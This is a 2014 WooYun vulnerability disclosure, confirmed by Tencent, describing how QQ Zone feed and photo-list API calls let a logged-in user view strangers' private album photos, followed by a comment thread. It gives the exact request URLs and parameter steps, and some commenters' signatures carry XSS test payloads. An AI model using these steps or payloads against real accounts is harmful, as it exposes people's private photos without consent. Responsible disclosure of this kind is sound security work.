漏洞概要
关注数(24)
关注此漏洞
漏洞标题:QQ空间可越权查看陌生人相册图片(高清)
相关厂商:腾讯
提交时间:2014-01-03 16:42
修复时间:2014-02-17 16:43
公开时间:2014-02-17 16:43
漏洞类型:未授权访问/权限绕过
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2014-01-03: 细节已通知厂商并且等待厂商处理中
2014-01-07: 厂商已经确认,细节仅向厂商公开
2014-01-17: 细节向核心白帽子及相关领域专家公开
2014-01-27: 细节向普通白帽子公开
2014-02-06: 细节向实习白帽子公开
2014-02-17: 细节向公众公开
简要描述:
RT,通过一些接口最终可以获取到陌生人的相册地址及查看其中的图片,非小图~
详细说明:
1. 默认没有权限访问陌生人的空间和相册
2. 进入到自己的空间,在全部动态位置,如果有好友动态,点击一下,查看网络请求,其中有以下接口:
http://ic2.s21.qzone.qq.com/cgi-bin/feeds/feeds2_html_hotspot?uin=***(自己的QQ,需要保持登录)&visiteduin=***(经测试,可以为陌生人QQ)&count=10&alpha=1&useutf8=1&g_tk=***
3. 将2获取到的json解析,可以得到topicid和pickey
4. 在QQ空间还是全部动态位置,如果有好友发布了图片,点击查看图片,监控到一个接口:
http://app.photo.qq.com/cgi-bin/app/cgi_floatview_photo_list?g_tk=***&callback=viewer_Callback&t=202307701&topicId=***&picKey=***&shootTime=&cmtOrder=1&fupdate=1&cmtNum=10&likeNum=5&inCharset=utf-8&outCharset=utf-8&callbackFun=viewer&offset=0&number=20&uin=***&appid=4&isFirst=1&hostUin=***(为想查看的人的QQ)&showMode=1&prevNum=9&postNum=18&_=1388730579218"
替换 ***内容为3获取到的,即能获取到相册图片列表
5. 还等什么?看起吧~~
漏洞证明:
由于图片实在信息量太大~_^,所以在此不做截图,只将自己方便查看图片写的js程序贴上来~
1. 获取动态接口(注意要是有发布图片动态的)
http://10000.user.qzone.qq.com/test/qqphoto.html (自己本地改的hosts,不然图片有referer限制)
2. 相册图片列表访问
http://10000.user.qzone.qq.com/test/qqphotolist.html
修复方案:
版权声明:转载请注明来源 blue@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2014-01-07 10:05
厂商回复:
非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
最新状态:
暂无
漏洞评价:
评论
-
2014-01-03 16:43 |
Chora ( 普通白帽子 | Rank:337 漏洞数:22 | 生存、生活、生命。)
-
2014-01-03 16:44 |
疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
-
2014-01-03 16:44 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
-
2014-01-03 16:44 |
园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
-
2014-01-03 16:46 |
4399gdww ( 路人 | Rank:20 漏洞数:4 | )
-
2014-01-03 16:47 |
肉肉 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)
-
2014-01-03 16:47 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
-
2014-01-03 16:52 |
HackBraid ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)
-
2014-01-03 16:55 |
剑无名 ( 普通白帽子 | Rank:146 漏洞数:32 | 此剑无名。)
-
2014-01-03 16:58 |
鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
-
2014-01-03 16:59 |
Smilent ( 实习白帽子 | Rank:34 漏洞数:6 | None)
-
2014-01-03 17:04 |
摸了你 ( 实习白帽子 | Rank:71 漏洞数:17 | 1shitMVqBjCKrnRvSoixMx6RKpG9J8pBM)
如实招来,你是不是看了肉肉的照片,你看肉肉都说原来是你。
-
2014-01-03 17:07 |
HackBraid ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)
-
2014-01-03 17:10 |
blue ( 普通白帽子 | Rank:779 漏洞数:70 | 我心中有猛虎,细嗅蔷薇。)
-
2014-01-03 17:13 |
Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
-
2014-01-03 17:22 |
肉肉 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)
-
2014-01-03 17:24 |
niliu ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)
-
2014-01-03 17:27 |
肉肉 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)
@niliu 还好,跟我有什么关系=。=,我只是好奇怎么做到的
-
2014-01-03 17:27 |
zzR ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])
-
2014-01-03 17:28 |
niliu ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)
-
2014-01-03 17:29 |
帅气凌云 ( 普通白帽子 | Rank:314 漏洞数:60 | 弱点扫描{Www.VulScan.CN} 为网站健康检查...)
-
2014-01-03 17:36 |
blue ( 普通白帽子 | Rank:779 漏洞数:70 | 我心中有猛虎,细嗅蔷薇。)
-
2014-01-03 17:54 |
Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢!!)
-
2014-01-03 17:55 |
Huc-Unis ( 普通白帽子 | Rank:1055 漏洞数:292 | 诶,现在通用奖励越来越低了;离买保时捷卡...)
-
2014-01-03 17:58 |
帅气凌云 ( 普通白帽子 | Rank:314 漏洞数:60 | 弱点扫描{Www.VulScan.CN} 为网站健康检查...)
-
2014-01-03 18:01 |
wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)
-
2014-01-03 18:15 |
秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)
-
2014-01-03 18:18 |
0x004er ( 实习白帽子 | Rank:48 漏洞数:19 | 。。。。。。。)
-
2014-01-03 18:21 |
HackBraid ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)
-
2014-01-03 18:28 |
闪电小子 ( 实习白帽子 | Rank:63 漏洞数:5 | PKAV技术宅社区!---闪电小子!)
-
2014-01-03 18:53 |
M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远,还需要厂商和白帽...)
-
2014-01-03 18:55 |
PiaCa ( 普通白帽子 | Rank:129 漏洞数:10 | 简单点!啪......嚓~~)
-
2014-01-03 19:44 |
肉肉 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)
@blue 我不记得了,反正没什么见不得人的,随便看随便看随便看.上次xss的事二哥请我吃火锅补偿我了的,你自己看着办
-
2014-01-03 19:45 |
RootUser ( 路人 | Rank:22 漏洞数:5 | null)
-
2014-01-03 20:00 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
-
2014-01-03 21:28 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
-
2014-01-03 21:57 |
肉肉 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)
-
2014-01-03 23:06 |
erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)
-
2014-01-04 09:23 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
-
2014-01-04 11:04 |
Mr.醉心 ( 路人 | Rank:2 漏洞数:2 | 爱生活,爱音乐,爱美女,更爱波多野结衣)
-
2014-01-04 12:40 |
带着套套打飞机 ( 路人 | Rank:4 漏洞数:1 | 嗯, 没什么介绍的。。。。。。。)
-
2014-01-04 14:02 |
三院一霸 ( 路人 | Rank:2 漏洞数:1 | 生命在于折腾)
-
2014-01-04 14:22 |
4399gdww ( 路人 | Rank:20 漏洞数:4 | )
-
2014-01-05 10:59 |
围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
-
2014-01-05 20:05 |
Defa ( 普通白帽子 | Rank:113 漏洞数:13 | <img src=1 onerror=alert(1)>)
-
2014-02-06 11:19 |
Micro Da ( 实习白帽子 | Rank:66 漏洞数:7 | Micro Da)
-
2014-02-06 11:41 |
wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)
-
2014-02-15 00:04 |
wusuopubupt ( 路人 | Rank:3 漏洞数:2 | BUPTer, linux lover.)
-
2014-02-17 22:05 |
小黄蜂 ( 路人 | Rank:18 漏洞数:3 | 好男儿名垂千古&好姑娘永垂不朽)